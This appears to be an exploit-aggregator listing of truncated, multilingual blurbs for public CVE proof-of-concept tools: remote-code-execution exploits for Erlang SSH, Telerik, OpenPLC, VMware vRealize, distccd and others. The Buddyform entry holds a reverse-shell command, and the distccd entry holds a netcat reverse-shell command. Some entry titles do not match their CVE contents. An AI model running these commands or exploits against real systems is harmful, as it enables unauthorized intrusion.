cve-2025-32433

CVE-2025-32433 - Pre-Auth RCE in Erlang/OTP SSH Server Lien vers le write-up détaillé Toutes les versions vulnérables examinées en utilisant Docker : Erlang/OTP-25.3.2 Erlang/OTP-26.2.5.11...

CVE-2018-5353

CVE-2018-5353 Zoho ManageEngine ADSelfServicePlus Клиентское повышение привилегий/Удаленное выполнение кода Информация Вендор: Zohocorp Продукт: ManageEngine ADSelfServicePlus Затронутые версии: До версии 5.5 сборки 5517 Исследователь: Jason Juntunen он же @missing0x00...

CVE-2019-18935

Exploit CVE-2019-18935 Exploit d'exécution de code à distance pour Telerik UI ASP.NET AJAX via une vulnérabilité de désérialisation. Comment exécuter Étape 1 : Cloner le projet root@kitploit: git clone https://github.com/menashe12346/CVE-2019-18935.git cd CVE-2019-18935 Étape 2 : Dans...

eval-stdin

Util PHP eval-stdin.phpCVE-2017-9841 취약점은 오래된 eval-stdin.php의 RCE원격 코드 실행 취약점입니다. 이 익스플로잇은 앞서 언급한 취약점을 자동화한 도구일 뿐이며, 아직 개발 중입니다. Ruby 3.0.4로 작성되었으며2시간 이내에 작성, Kali Linux, Arch Linux, Ubuntu minimal 및 Termux에서 테스트되었습니다. 실행 방법: ruby evil-eval.rb 실행한 뒤 help를 입력하면 revshell, checkconnection, privesc 등...

CVE-2025-30406

CVE-2025-30406 PoC d'exploitation ViewState Vue d'ensemble Il s'agit d'un script Proof-of-Concept PoC démontrant une exploitation de désérialisation ViewState pour CVE-2025-30406 dans les applications ASP.NET. Il utilise ysoserial pour générer une charge utile ViewState malveillante et l'envoie à...

cve-2021-33879

ID CVE : CVE-2021-33879 Nom du ou des produits concernés et versions : GameLoop toutes les versions antérieures à 4.1.21.90 Type de vulnérabilité : CWE-494 : Téléchargement de code sans vérification d'intégrité Résumé GameLoop est un émulateur Android développé par Tencent. Son mécanisme de mise ...

CVE-2021-31630-OpenPLC-3-Authenticated-RCE

CVE-2021-31630 OpenPLC 3 WebServer 인증된 원격 코드 실행. 설명 Open PLC Webserver v3에 존재하는 명령 주입 취약점으로 인해, 원격 공격자는 애플리케이션의 "/hardware" 페이지에 있는 "Hardware Layer Code Box" 구성 요소를 악용하여 임의의 코드를 실행할 수 있습니다. hackthebox의 Wifinetictwo.htb 머신에서만 테스트되었습니다. 사용법 root@kitploit: usage: openplcexploit.py -h --usage --ip AD...

CVE-2023-26326_Buddyform_exploit

python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' もともと、CVE-2023–26326 を悪用するには、デシリアライゼーションの脆弱性としてガジェットチェーンが必要でした。この手法は PHP 8+ で動作する新しい WordPress サイトではもはや使用できません。しかし、CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 と組み合わせることで、phar:// の代わりに php://filt...

CVE-2019-16663

CVE-2019-16663 Centreon v19.04 リモートコード実行 CVE-2019-16662 の公式エクスプロイトコード...

CVE-2022-22029-NFS-Server-

Windows Network File System Remote Code Execution Vulnerability CVE-2022-22039 Чтобы успешно воспользоваться этой уязвимостью, злоумышленник должен выиграть состояние гонки. Выполнение неаутентифицированного, тщательно сконструированного вызова к службе Network File System NFS может быть...

cve-2024-8069-exp-Citrix-Virtual-Apps-XEN

CVE-2024-8068 et CVE-2024-8069 Citrix Virtual Apps and Desktops XEN - Exécution de code à distance non authentifiée Consultez notre article de blog pour des informations techniques détaillées. https://github.com/user-attachments/assets/563fd110-5321-49f7-8dc3-48eb0a53e0f9 Démonstration de l'explo...

CVE-2023-20887

CVE-2023-20887 Exploit RCE pré-authentifiée VMWare vRealize Network Insight CVE-2023-20887 Utilisation root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:900...

CVE-2025-5688-FreeRTOS-Plus-TCP-Out-of-Bounds-Write

CVE-2025-5688 – FreeRTOS-Plus-TCP 아웃오브바운즈 쓰기 익스플로잇 원격 메모리 손상 / DoS / 잠재적 RCE 트리거 - FreeRTOS-Plus-TCP가 LLMNR 또는 mDNS 쿼리에서 과도하게 긴 DNS 이름을 처리할 때 발생 버퍼 할당 방식 1. 익스플로잇 제작자: Mohammed Idrees Banyamer 국가: 요르단 Instagram: @banyamersecurity 날짜: 2025년 12월 26일 개요 이 PoC는 과도하게 긴 DNS 이름이 포함된 특수 제작된 UDP 멀티캐스트 패킷을...

CVE-2021-41773m

CVE-2021-41773 🐛 Apache HTTP Server 2.4.49의 경로 탐색 및 파일 노출 취약점 Apache HTTP Server 2.4.49의 경로 정규화 변경에서 결함이 발견되었습니다. 공격자는 경로 탐색 공격을 사용하여 Alias 계열 지시문으로 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다. 이 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않는 경우 이러한 요청은 성공할 수 있습니다. 또한 이러한 별칭 경로에 CGI 스크립트도 활성화되어 있는 경...

CVE-2022-21907-Vulnerability-PoC

CVE-2022-21907 Description - POC pour CVE-2022-21907 : vulnérabilité d'exécution de code à distance dans la pile de protocoles HTTP. - créé par antx le 2022-01-17, avec quelques petites corrections de Michele "[email protected]" Détails - Vulnérabilité d'exécution de code à distance dans la...

CVE-2019-20224

CVE-2019-20224 L'exploit officiel pour Pandora v7.0NG Post-auth Remote Code Execution CVE-2019-20224...

distccd_rce_CVE-2004-2687

Le but de ce script n'est PAS d'utiliser Metasploit et de le faire manuellement. Utilisation : root@kitploit: nc -lvnp 4466 Exécution de l'exploit : root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

cve-2023-34446

CVE-2023-36664: Ghostscript 远程代码执行 漏洞摘要 CVE ID: CVE-2023-36664 产品: Ghostscript 10.01.2 漏洞类型: 远程代码执行 RCE 概述 本漏洞 CVE-2023-36664 是由于 Ghostscript 对管道设备（%pipe% 或 | 前缀）的路径权限验证处理不完善而导致的任意代码执行 RCE 漏洞。 攻击者精心构造的恶意文档文件 PS/EPS 在被系统解析或处理的过程中，可在未经用户授权的情况下执行任意系统命令。 概念说明 了解 Ghostscript 与管道 Pipe 1. Ghostscript...

CVE-2023-38831

CVE-2023-38831 WinRARエクスプロイトの検知ロジック このリポジトリには、CVE-2023-38831（WinRAR ZIPファイルのなりすまし / 二重拡張子エクスプロイト）の検知ロジックが含まれており、生のクエリ/コードブロック、ETW固有のプロバイダ名+イベントIDを提供します。 ターゲットシステム上の脆弱なバージョンのWinRAR（ 6.23） 動作の概要 CVE-2023-38831は以下の場合に悪用されます： ユーザーが悪意のあるZIPファイルをWinRARで開く アーカイブに以下が含まれている： ● おとりのファイル（例：invoice.pdf ） ●...

CVE-2025-6384

CVE-2025-6384: Contournement du sandbox Groovy 2 dans CrafterCMS Vulnérabilité de contrôle inadéquat des ressources de code gérées dynamiquement dans Crafter Studio de Crafter CMS permet aux développeurs authentifiés d'exécuter des commandes OS via un contournement du sandbox Groovy. Divulgation ...